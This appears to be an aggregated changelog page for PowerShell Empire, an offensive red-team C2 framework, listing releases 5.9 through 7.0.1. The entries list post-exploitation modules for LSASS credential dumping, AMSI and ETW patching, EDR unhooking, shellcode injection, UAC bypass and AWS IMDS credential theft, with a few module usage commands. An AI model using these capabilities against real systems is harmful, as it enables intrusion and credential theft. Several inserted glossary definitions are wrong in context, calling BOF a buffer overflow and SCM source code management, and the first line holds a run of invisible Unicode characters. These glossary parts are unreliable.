Adds ./ps-empire update subcommand that moves the checkout to the latest release tag, refreshes config.yaml, fast-forwards Starkiller, the plugin registry, and the Empire Compiler binary, and applies pending Alembic migrations; use -y to auto-confirm the backup prompt.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Not checked yet Adds starkiller.directory config option to serve an already-built Starkiller instead of cloning from GitHub, enabling air-gapped and distro-packaged installs. Not checked yet Adds POST /api/v2/agents/{id}/tasks/chdir endpoint and TASK_CHDIR (opcode 44) for persistently changing an agent's working directory across PowerShell, Python, and IronPython agents. Not checked yet Adds AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. -256-GCM across the stack: an AES256GCM AEAD class in encryption.py (server), agent/stagers/common/aesgcm.py for Python/IronPython stagers, and a .NET 4.x AesGcmHelper for PowerShell stagers. Not checked yet Adds MergeReferences option to the C# module YAML schema, enabling ILRepack dependency merging via the Empire Compiler --merge-references flag. Not checked yet
+43 more
show less
Adds SafeChecksPS / SafeChecksPython bypass YAMLs consolidating bypass snippets; opt in via a stager's Bypasses parameter. Not checked yet Adds parser support for the Cobalt Strike http-config block in malleable HTTP listeners, wiring trust_x_forwarded_for (default false) and block_useragents (fnmatch globs). Not checked yet Adds a krb_session_key credential type storing Rubeus session keys as <keytype>:<base64key>, captured from both dump and asktgt/asktgs output. Not checked yet Adds a per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as double-quoted, comma-joined elements. Not checked yet Adds AFTER_CHAT_MESSAGE_HOOK core hook fired with (db, message: ChatMessage) after a chat message is persisted, enabling plugins to observe chat traffic. Not checked yet Adds a downloadable chatlog report via report=chat (included in report=all), exporting chatlog.csv; chat is now persisted to a new chat_messages table (Alembic migration 0003) and chat/history returns the most recent 20 messages. Not checked yet Adds an Inveigh credential parser (situational_awareness/host/inveigh) that ingests NetNTLMv1/v2 hashes from task output, tagging machine accounts as inveigh machine_account. Not checked yet Adds SharpHound C# module for BloodHound Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. enumeration with ILRepack assembly merging. Not checked yet Adds situational-awareness modules powershell/situational_awareness/host/{processes,ipconfig,route,dir_list} and python/situational_awareness/host/processes, emitting JSON for server-side filters. Not checked yet Adds wdtoggle BOF module to patch WDigest/Credential Guard in LSASS to re-enable plaintext credential caching. Not checked yet Adds psx BOF module for a process list annotated with detected security products (AV/EDR EDR Endpoint detection and response, monitoring computers for suspicious behavior and providing investigation and response controls, such as isolating a device. /logging tools). Not checked yet Adds psm BOF module for detailed single-process info by PID — loaded modules, TCP TCP A network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. connections, and RDP RDP A Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely. sessions. Not checked yet Adds psk BOF module to enumerate loaded kernel modules/drivers annotated with security-product driver detection. Not checked yet Adds psw BOF module to enumerate window titles across running processes. Not checked yet Adds psc BOF module for a process list with active TCP connections and RDP session details. Not checked yet Adds winver BOF module to retrieve Windows version, build number, and patch revision of the target host. Not checked yet Adds netuse_add, netuse_list, and netuse_delete BOF modules for mapping shares, enumerating connections, and disconnecting mapped drives. Not checked yet Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM SCM Source Code Management: version-control systems (Git, SVN, etc.) that track changes to code over time, giving cyber tools reproducible builds, audit trails, and collaborative development workflows. (config, query, failure, and trigger data). Not checked yet Adds sc_qc BOF module to query a Windows service's configuration (binary path, start type, account, dependencies) via SCM. Not checked yet Adds sc_qdescription BOF module to query a Windows service's description via SCM. Not checked yet Adds sc_qfailure BOF module to query a Windows service's failure actions (restart, run command, reboot) via SCM. Not checked yet Adds sc_qtriggerinfo BOF module to query the trigger events that start or stop a Windows service. Not checked yet Adds netuserenum BOF module to enumerate local or domain user accounts via NetUserEnum with a configurable filter. Not checked yet Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type. Not checked yet Adds notepad BOF module to enumerate open Notepad/Notepad++ windows and extract the displayed file path or in-memory text. Not checked yet Adds findLoadedModule BOF module to enumerate processes that have a given module (DLL DLL A Windows file format containing compiled code and data that multiple programs can load and share at runtime, letting cyber tools inject functionality into other processes or hook system calls. substring) loaded — useful for locating injection targets and fingerprinting EDR. Not checked yet Adds vssenum BOF module to enumerate Volume Shadow Copies exposed on a host's SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. share, useful for locating offline SAM/SYSTEM/NTDS hives. Not checked yet Adds addmachineaccount BOF module for adding machine accounts (lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. ). Not checked yet Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP LDAP A protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. queries against a domain controller, useful when paged queries are throttled. Not checked yet Adds ldapsearch BOF module for LDAP/LDAPS LDAPS LDAP over TLS — the encrypted variant of the Lightweight Directory Access Protocol, standardized in RFC 2830, used to query directory services like Active Directory without exposing credentials in plaintext. queries against a domain controller with configurable scope. Not checked yet Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems. Not checked yet Adds etw_patching BOF module to patch or revert EtwEventWrite in ntdll to degrade ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. logging in-process. Not checked yet Adds static_syscalls_dump BOF module to dump a target process's memory via static syscall numbers, bypassing ntdll hooks. Not checked yet Adds static_syscalls_inject BOF module to inject shellcode into a remote process via static syscalls. Not checked yet Adds static_syscalls_apc_spawn BOF module to spawn a temporary process and inject shellcode via APC queue using static syscalls. Not checked yet Adds syscalls_shellcode_injection BOF module to inject shellcode into a remote process via direct syscalls. Not checked yet Adds reconad BOF module for ADSI-based Active Directory reconnaissance. Not checked yet Adds domaininfo BOF module to report AD domain membership and Azure AD join status of the host. Not checked yet Adds smbinfo BOF module to retrieve SMB server info via NetServerGetInfo. Not checked yet Adds findmodule BOF module to find processes with a given module (DLL) loaded. Not checked yet Adds findprochandle BOF module to find processes holding a handle to a named object. Not checked yet Adds startwebclient BOF module to start the WebClient service via ETW trigger registration. Not checked yet Adds lapsdump BOF module to dump LAPS LAPS A Microsoft feature that automatically generates, rotates, and stores unique local administrator passwords for each Windows machine in Active Directory, eliminating shared static credentials across a fleet. passwords (ms-Mcs-AdmPwd) from AD via LDAP. Not checked yet
2 more in Everything
└──▷ BREAKING ON UPGRADE
! Password hashing switched from bcrypt bcrypt A deliberately slow password-hashing function, so a stolen password database takes far longer to crack by guessing. Argon2 and scrypt are newer alternatives built on the same idea. to PBKDF2-HMAC-SHA256 HMAC-SHA256 A keyed hash that proves a message came from someone holding a shared secret and was not altered. Webhooks and API request signing commonly use it. (600K iterations); existing bcrypt hashes are incompatible — reset passwords or recreate the database. Non-default bcrypt users must be manually reset via PUT /api/v2/users/{id}/password.! Staging key normalization replaced MD5 with SHA-256 SHA-256 A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data. ; agents staged under the old algorithm must be re-staged.! CSPRNG CSPRNG A cryptographically secure pseudorandom number generator — an algorithm that produces unpredictable output suitable for secrets like keys and tokens, where a standard PRNG's statistical randomness alone would be exploitable. generation replaced random with secrets (server) and random.SystemRandom() (agent) across listeners, stagers, agents, and utilities; all deployed agents must be re-staged.! ./ps-empire update overwrites the base config.yaml on every run — move local customizations to config.user.yaml before upgrading.! Debian 11 (bullseye) is no longer a supported install platform; it has been removed from the install script, CI matrix, and docs.
Empire 7.0.1 adds Inveigh NetNTLM hash parsing, Rubeus session key support, and format_string overrides
└──▷ GET THIS VERSION
copy
$ git clone --branch 7.0.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout 7.0.1
Added situational_awareness/host/inveigh credential parser to ingest NetNTLMv1/v2 hashes from task output. Not checked yet Added per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as comma-joined elements. Not checked yet Added krb_session_key credential type for Rubeus session keys stored as <keytype>:<base64key>. Not checked yet
3 details in Everything
└──▷ BREAKING ON UPGRADE
! Ed25519 Ed25519 A fast elliptic-curve signature scheme with small keys, the default for new SSH keys and common in code signing. It is not quantum-safe. agent-certificate verification is now mandatory in the PowerShell and C# staging branches, previously skipped for an all-zero certificate.
v7.0.0 adds PS-Empire update command, chat hooks, BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. modules, and chunked uploads.
└──▷ GET THIS VERSION
copy
$ git clone --branch 7.0.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 7.0.0
└──▷ USE IT
Upgrade ps-empire and apply database migrations automatically in CI/CD.
shell
copy
./ps-empire update -y
Persistently change the working directory of a specific agent via API.
api
copy
curl -X POST http://<server>:1337/api/v2/agents/<id>/tasks/chdir -H 'Authorization: Bearer <token>' -d '{"arguments": "C:\\Temp"}'
./ps-empire update subcommand now handles Alembic migrations automatically with -y flag for upgrades, refreshing config.yaml and Starkiller Not checked yet Added AFTER_CHAT_MESSAGE_HOOK core hook allowing plugins to observe chat traffic via (db, message: ChatMessage) parameters Not checked yet New starkiller.directory config option serves a pre-built Starkiler frontend instead of cloning from GitHub at startup Not checked yet BOF modules added including wdtoggle, psx, psm, psk, psw, psc, winver, netuse_add/list/delete, sc_enum/qc/qdescription/qfailure/qtriggerinfo, netuserenum, nslookup, notepad, sprayad, findLoadedModule, vssenum, addmachineaccount, nonpaged_ldapsearch, ldapsearch, and 12 additional modules for injection, evasion, and AD recon Not checked yet inject_amsi_bypass and inject_etw_bypass gain InjectSelf option (default true) to target remote PIDs when set to false Not checked yet
+1 more
show less
New TASK_CHDIR opcode 44 and POST /api/v2/agents/{id}/tasks/chdir endpoint allow persistently changing the agent's working directory Not checked yet
6 details in Everything
└──▷ BREAKING ON UPGRADE
! Replaced bcrypt bcrypt A deliberately slow password-hashing function, so a stolen password database takes far longer to crack by guessing. Argon2 and scrypt are newer alternatives built on the same idea. password hashing with PBKDF2-HMAC-SHA256 HMAC-SHA256 A keyed hash that proves a message came from someone holding a shared secret and was not altered. Webhooks and API request signing commonly use it. , requiring password reset or database recreation for existing hashes.! Replaced MD5 with SHA-256 SHA-256 A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data. for staging key normalization; agents staged under the old algorithm must be re-staged.! Replaced random with secrets (server) and random.SystemRandom() (agent) for CSPRNG CSPRNG A cryptographically secure pseudorandom number generator — an algorithm that produces unpredictable output suitable for secrets like keys and tokens, where a standard PRNG's statistical randomness alone would be exploitable. generation, requiring deployed agents to be re-staged.! ./ps-empire update overwrites the base config.yaml; local customizations must be moved to config.user.yaml.
Empire v6.6.0 adds 49 ATT&CK ATT&CK A publicly maintained knowledge base by MITRE cataloguing adversary tactics, techniques, and procedures observed in real attacks, giving cyber tools a common taxonomy for classifying and correlating threat behavior. -mapped modules, 8 new BOFs (including nanodump & bofroast), a pre-obfuscation API endpoint, and Alembic DB migrations.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.6.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.6.0
└──▷ TRY IT
Run the full Empire test suite, or pass pytest arguments to target a specific test file or marker.
copy
$ ./ps-empire test -k mysql -v
Tune MySQL connection pool size and enable pre-ping health checks to prevent pool exhaustion under high agent concurrency.
yaml
copy
mysql:
pool_size: 20
max_overflow: 10
pool_pre_ping: true
pool_recycle: 3600
Adds nanodump BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. module for LSASS minidump creation using multiple evasion techniques (handle duplication, process forking, snapshot, seclogon handle leaking). Not checked yet Adds 7 new BOF modules from Sliver Armory: unhook (EDR EDR Endpoint detection and response, monitoring computers for suspicious behavior and providing investigation and response controls, such as isolating a device. /AV API hook removal), patchit (AMSI+ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. all-in-one), inject_amsi_bypass, inject_etw_bypass, credman (Credential Manager dump), handlekatz (LSASS via handle duplication), and bofroast (CLR-free Kerberoasting Kerberoasting An attack that obtains Kerberos service tickets and tries to crack their encrypted contents offline. Recovering a weak service-account password can give the attacker that account's access. ). Not checked yet Adds multi-language stager support (powershell, csharp, ironpython, go) to UAC bypass modules: bypassuac, bypassuac_env, bypassuac_eventvwr, bypassuac_sdctlbypass, bypassuac_wscript. Not checked yet Adds POST /api/v2/obfuscation/modules/preobfuscate endpoint to trigger background pre-obfuscation of specific modules by ID (returns HTTP 202). Not checked yet Adds Alembic database migration framework for versioned schema management, including migrate_db() and backup_db() helper functions. Not checked yet
+6 more
show less
Adds configurable MySQL connection pool settings (pool_size, max_overflow, pool_pre_ping, pool_recycle) via server config YAML, with pool health monitoring that warns at 80% capacity. Not checked yet Adds configurable obfuscation.timeout setting (default 300s, disable with 0) for the PowerShell obfuscation subprocess, configurable via config.yaml or EMPIRE_OBFUSCATION__TIMEOUT env var. Not checked yet Adds ./ps-empire test command as a convenience wrapper for pytest with passthrough arguments. Not checked yet Adds strict and suggested_values fields to boolean switch options in modules for improved validation and UI hints. Not checked yet Adds dynamic depends_on support to stagers so dependent fields (Bypasses , Obfuscate , ObfuscateCommand) show or hide based on the selected listener type. Not checked yet Updates Starkiller to v3.5.0. Not checked yet
11 details in Everything
└──▷ BREAKING ON UPGRADE
! The legacy archive field is removed from empire_compiler config; replace it with repo and ref.! High-frequency hooks (AFTER_AGENT_CALLBACK_HOOK, AFTER_TASKING_RESULT_HOOK, AFTER_AGENT_CHECKIN_HOOK, AFTER_TASKING_HOOK) now receive None as the session argument instead of an active session — any hook code that uses the passed session directly will break.
Empire v6.5.0 adds C stagers with shellcode compilation, six new offensive modules, and a runtime Background option for C# tasks.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.5.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.5.0
└──▷ TRY IT
Run the new AWS IMDS module against a compromised EC2 EC2 Amazon's cloud virtual-machine service, letting tools run on-demand servers without managing physical hardware. agent to steal IAM IAM Identity and Access Management — a framework of policies and services for controlling who can authenticate to systems and what resources they are authorized to use, letting cyber tools enforce least-privilege and audit access. role credentials without touching disk.
copy
$ (Empire: agents) > interact <agent_name>
(Empire: <agent_name>) > usemodule python/collection/aws_imds
(Empire: python/collection/aws_imds) > execute
Adds a C stager for lightweight stage0 shellcode injection via Fibers Not checked yet Adds shellcode_compiler utility to compile position-independent C stagers into raw x64 shellcode for BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. process injection Not checked yet Adds clipboard_window_inject_list BOF module for enumerating processes with clipboard window class Not checked yet Adds a runtime Background option to C# modules, letting operators override background/foreground execution at task time Not checked yet Adds C# PatchETW module for in-process ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. patching via ntdll!EtwEventWrite Not checked yet
+10 more
show less
Adds C# PatchlessAMSI module for patchless AMSI bypass using hardware breakpoints and vectored exception handling Not checked yet Adds PowerShell Invoke-VSSExtract module for NTDS.dit and SYSTEM hive extraction via Volume Shadow Copy Not checked yet Adds PowerShell Invoke-RDPHijack module for RDP RDP A Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely. session hijacking via tscon.exe Not checked yet Adds Python linux_keyring module for credential extraction from the Linux kernel keyring subsystem Not checked yet Adds Python aws_imds module for AWS IAM AWS IAM AWS Identity and Access Management is Amazon's service for controlling who and what can call AWS APIs, by attaching policies that allow or deny actions on resources. Cyber tools use it to scope credentials to least privilege. role credential theft via EC2 Instance Metadata Service Not checked yet Adds BOF spawn module for EarlyBird process hollowing with suspended process creation, shellcode injection, and APC thread hijacking Not checked yet Logs Empire version and git commit SHA at startup for easier production diagnostics; SHA is baked into Docker images via --build-arg Not checked yet Adds Python 3.14 support (3.13 and 3.14); Dockerfile now uses python:3.14.3-trixie Not checked yet Refactors bof_packer into a Packer class with granular packing methods (addbytes, addstr, addWstr, addbool, adduint32, addint, addshort) Not checked yet Adds format_bof_output() to ModuleService to centralize BOF output formatting for Go and .NET agents Not checked yet
15 details in Everything
└──▷ BREAKING ON UPGRADE
! The secinject BOF module and its pre-compiled binary have been removed; any playbooks or profiles referencing it will break.! stager_generation_service now uses install_path (Path) instead of the deprecated installPath (str); any code or plugins referencing installPath on this service will break.! All remaining core usages of installPath have been migrated to install_path (Path); external plugins or integrations that reference installPath on core services will break.! The terminaltables dependency has been replaced with prettytable; code or plugins that import terminaltables directly will break.! bof_packer standalone functions have been replaced by a Packer class API; any code calling the old standalone functions will break.
Empire v6.4.1 adds config layering, auto-install plugins, Socket.IO toggle, and a new C# spawn module.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.4.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.4.1
└──▷ USE IT
Override individual server settings per-environment without editing the shared base config — useful in team or containerised deployments.
yaml
copy
# config.user.yaml (placed alongside config.yaml)
server:
socketio: false
Enable automatic marketplace plugin installation so a fresh Empire server is fully tooled up on first run.
yaml
copy
# config.yaml
plugin_marketplace:
auto_install: true
Adds config.user.yaml layering: drop a file next to config.yaml to override specific settings without touching the base config. Not checked yet Adds auto_install option to plugin_marketplace config for automatic plugin installation at setup time. Not checked yet Adds server.socketio config option to disable Socket.IO (enabled by default). Not checked yet Adds C# spawn module supporting both PowerShell and C# executables. Not checked yet
4 details in Everything
Empire 6.4.0 adds clipboard enumeration via WinRT, background task tracking, and new API/CLI surfaces
└──▷ GET THIS VERSION
copy
$ git clone --branch 6.4.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 6.4.0
└──▷ TRY IT
Build and override Empire configuration during setup.
copy
$ ps-empire -c -o /custom/path/config.yml
Adds Get-ClipboardHistory PowerShell module to enumerate Windows clipboard history on Windows 10/11 via WinRT APIs Not checked yet Adds -c (compile from source) and -o (override) options to the ps-empire CLI Not checked yet
2 details in Everything
Empire v6.3.0 adds mTLS mTLS Mutual TLS, an encrypted connection where both client and server present certificates to prove their identity. It helps services verify who they are communicating with. agent support, ChaCha20-Poly1305 routing encryption, multi-language PSexec payloads, and customizable C# obfuscation.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.3.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.3.0
└──▷ HOW TO FIND IT
Select a Go agent payload instead of PowerShell when laterally moving with PSexec, useful for evading PowerShell-focused defenses.
📍 In the Empire client, when configuring the PSexec module, set the Language option to go to generate a Go-based Empire payload instead of the default PowerShell one.
Adds mTLS support to agents and listeners for mutual certificate-based authentication. Not checked yet Upgrades routing packet encryption from RC4 to ChaCha20-Poly1305 for authenticated encryption. Not checked yet Exposes all agent language options (C#, IronPython, Go, PowerShell) in PSexec payload selection. Not checked yet Adds customizable C# obfuscation via ConfuserEx XML config through EmpireCompiler v0.4.1. Not checked yet Supports overriding all Empire config values with environment variables. Not checked yet
+3 more
show less
Changes PowerShell agent key exchange from RSA RSA The oldest widely used public-key algorithm, for both encryption and signatures, with security resting on factoring large numbers. A large quantum computer would break it. to Diffie-Hellman. Not checked yet Moves default bypasses from individual stagers/modules into centralized config. Not checked yet Allows the HTTPS HTTPS HTTP carried over an encrypted TLS connection. It protects traffic in transit and lets a browser verify the server's certificate. host value to be used on HTTP and malleable listeners without requiring a cert path. Not checked yet
8 details in Everything
└──▷ BREAKING ON UPGRADE
! RC4 is no longer used to deliver routing packets to agents — agents and listeners must both be on v6.3.0 for the ChaCha20-Poly1305 encrypted routing to be compatible.
Empire v6.2.0 adds server clean/reset options, Go agent support for spawn/spawnas, multi-language fodhelper, and alternative auth header.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.2.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.2.0
Adds clean and reset options to the Empire server for easier environment management. Not checked yet Adds Go agent support to the spawn and spawnas modules. Not checked yet Extends fodhelper UAC bypass to support additional agent languages beyond the previous default. Not checked yet Supports X-Empire-Token as an alternative authentication header to Authorization for Empire API requests. Not checked yet Updates Starkiller to v3.1.0. Not checked yet
5 details in Everything
Empire v6.1.2 adds Ubuntu 24.04 support to the install script.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.1.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.1.2
PowerShell Empire 6.0.3 adds literal interpretation for shell commands in the IronPython agent.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.0.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.0.3
└──▷ BREAKING ON UPGRADE
! Linux is removed as a Go agent target option.
Empire v6.0.0 adds Go agents, a Plugin Marketplace, a new Empire Compiler for C#, and expanded IP allow/deny list support.
└──▷ GET THIS VERSION
copy
$ git clone --branch v6.0.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v6.0.0
└──▷ TRY IT
Run a remote PowerShell script on an agent using the new invoke-script module.
copy
$ usemodule code_execution/invoke-script
set Agent <agent_name>
set ScriptPath <path_to_ps1>
execute
Run a remote Python script on a Python agent using the new python invoke-script module.
copy
$ usemodule python/code_execution/invoke-script
set Agent <agent_name>
set ScriptPath <path_to_py>
execute
Adds Go agents with a new multi_go_exe stager type and Go as an option for multi_launcher. Not checked yet Introduces a Plugin Marketplace via Starkiller 3.0 with support for plugin registries and installing plugins via the API. Not checked yet Replaces the old C# compilation approach with a new Empire-Compiler that auto-downloads pre-compiled binaries, eliminating dotnet as an OS dependency. Not checked yet Adds new allow/deny list implementation with proper support for IPv4, IPv6 IPv6 The current version of the Internet Protocol, standardized by the IETF, using 128-bit addresses to replace the exhausted IPv4 space. Cyber tools target it because modern networks run dual-stack or IPv6-only. , ranges, and CIDRs. Not checked yet Adds API endpoints for managing autorun commands on agent check-in. Not checked yet
+10 more
show less
Adds api.ip and api.secure as server config options. Not checked yet Adds dynamic options to modules. Not checked yet Adds module code_execution/invoke-script for remote PowerShell script execution. Not checked yet Adds module python/code_execution/invoke-script for remote Python script execution. Not checked yet Adds SharpHound ingestor for Community Edition and tags legacy BloodHound. Not checked yet Adds language compatibility check so modules only run on agents that support the required language. Not checked yet Adds -f flag to the install script to force installation as root. Not checked yet Swaps C# module RunOF for COFFLoader. Not checked yet Updates BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. parsing to use bof_pack formatting. Not checked yet Updates Starkiller to v3.0.0, now served at {api_url}/. Not checked yet
15 details in Everything
└──▷ BREAKING ON UPGRADE
! The command line client has been removed; use Starkiller instead.! --restip and --restport command-line options are removed; use the config file instead.! socketport config option on the client is removed.! All config properties in client and server configs are renamed to snake_case.! ip_whitelist and ip_blacklist are renamed to ip_allow_list and ip_deny_list and are now lists instead of comma-separated strings.! Starkiller is now accessed at {api_url}/ instead of {api_url}/index.html.! The Agents class is moved to AgentCommunicationService with refactored function and parameter names.! The Stagers class is moved to StagerGenerationService with refactored function and parameter names.! Plugin Task handling is moved from PluginService to PluginTaskService.! Socks management is moved to AgentSocksService with socks properties renamed to use plural naming.! The update_lastseen parameter is removed from handle_agent_request.! module_service.execute_module now returns a pydantic model.! agent_task_service functions now take a user model instead of a user ID.! All writable data is moved out of the install path into ~/.local/share/empire.! The Listeners class is removed.! The Credentials class is removed.! Functions from the Agents class deprecated in 5.x are removed.! Script and module upload to memory is removed in favor of modules with the same functionality.! The reverseshellserver plugin is removed.! empire_config.directories.module_source and empire_config.directories.obfuscated_module_source config keys are removed.! The csharpserver plugin is replaced by the DotnetCompiler class in empire.server.common.! The nim stager is removed from Empire and the install script.! Minimum Python version raised to 3.13.! Removed listeners: HTTP COM, OneDrive, and Dropbox.! Removed stagers: osx/pkg, windows/backdoorlnkmacro, windows/launcher_lnk, windows/launcher_sct, windows/ms16-051, windows/reverseshell.! All C# module code has been moved as submodules of Empire-Compiler.! Debian 10 is no longer supported by the install script.
Empire v5.12.0 adds Python 3.13 support and system-wide deployment capability.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.12.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.12.0
Supports Python 3.13 as a valid runtime. Not checked yet Enables system-wide deployment of Empire for multi-user environments. Not checked yet Automatically falls back to ~/.empire directory when config.yaml paths lack write permission, and updates config.yaml accordingly. Not checked yet
3 details in Everything
Empire v5.11.4 adds nameserver enumeration check for Linux hosts.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.11.4 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.11.4
Empire v5.11.2 adds ThreadlessInject, Invoke-BSOD modules and ticketdumper; this minor release is a bug-fix only patch.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.11.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.11.2
Adds ThreadlessInject module for in-memory process injection without allocating executable memory pages. Not checked yet Adds Invoke-BSOD module to trigger a Blue Screen of Death on compromised hosts. Not checked yet Adds ticketdumper IronPython module for extracting Kerberos Kerberos A network authentication protocol that uses tickets issued by a trusted service. Users and services can prove their identities without sending a password to each application. tickets from memory. Not checked yet
3 details in Everything
Empire 5.11 adds Invoke-BSOD, ticketdumper, ThreadlessInject modules and threaded powershell job execution
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.11.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.11.0
Adds Invoke-BSOD module to trigger blue screen of death scenarios for testing. Not checked yet Adds ticketdumper IronPython module for credential extraction via Kerberos Kerberos A network authentication protocol that uses tickets issued by a trusted service. Users and services can prove their identities without sending a password to each application. tickets. Not checked yet Adds ThreadlessInject module for in-memory code injection without writing to disk. Not checked yet Adds threaded job execution for PowerShell tasks using AppDomains to improve concurrency and reliability. Not checked yet Adds detailed job tracking for all tasks within the Sharpire system instead of only tracking jobs. Not checked yet
5 details in Everything
Empire 5.10.3 updates default behaviors for SharpUp, Seatbelt, and SharpWMI/S sharpsc, and adds --debug to Moriarty.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.10.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.10.3
Updates the --action default for SharpSC modules to query service= for broader enumeration Not checked yet Adds --debug flag support to Moriarty listeners to enable verbose logging during agent check-ins Not checked yet Changes SharpWMI module default action from execute to query reducing execution noise Not checked yet
3 details in Everything
Empire v5.10 adds Moriary module, callback socket messages, and sacrificial process spawning via BoF.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.10.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.10.1
Moriary module added for threat hunting Not checked yet Adds hook and socket message to receive callback messages for individual agents Not checked yet Added sacrificial Spawn Process bof Not checked yet ./ps-empire install option added Not checked yet Added .NET 4.5 compile option Not checked yet
5 details in Everything
Empire 5.10 adds callback hooks, Moriary module, and non-root log permissions.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.10.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.10.0
--auto-pull submodule option enables automatic updates on startup Not checked yet New install subcommand in ./ps-empire bootstrap script Not checked yet Moriary PowerShell Empire module adds new tasking capabilities Not checked yet Non-root file permissions applied to empire and listener logs Not checked yet
4 details in Everything
v5.9.3 adds Excel/Word selection and AutoOpen/AutoClose options to windows_macro stager
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.9.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.9.3
Adds BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. modules (nanodump, secinject, etc.), YAML module format, and custom certificate path config
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.9.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.9.1
└──▷ TRY IT
Scan systems for credentials using the new nanodump BOF module within Empire.
copy
$ usemodule powershell/credentials/nanodump
Configure Empire to use a custom TLS certificate for secure agent communications.
yaml
copy
certfile: /path/to/custom/cert.pem
keyfile: /path/to/custom/key.pem
Handle validation errors in a custom module by raising the new exception type instead of returning a tuple.
python
copy
raise ModuleValidationException('Invalid parameter provided')
Adds BOF modules to Empire as yaml files, including ClipBoardWindow-Inject, nanodump, secinject, tgtdelegation, and TrustedSec's SA modules Not checked yet Adds support for returning validation/execution exceptions (ModuleValidationException, ModuleExecutionException, PluginValidationException, PluginExecutionException) from module and plugin generate/execute functions Not checked yet Adds decorators for module generate functions to automatically get the module_source and call finalize_module Not checked yet Adds custom certificate path configuration via server_config.yaml Not checked yet Updates install script and Docker file to use Python 3.12.1 Not checked yet
5 details in Everything
└──▷ BREAKING ON UPGRADE
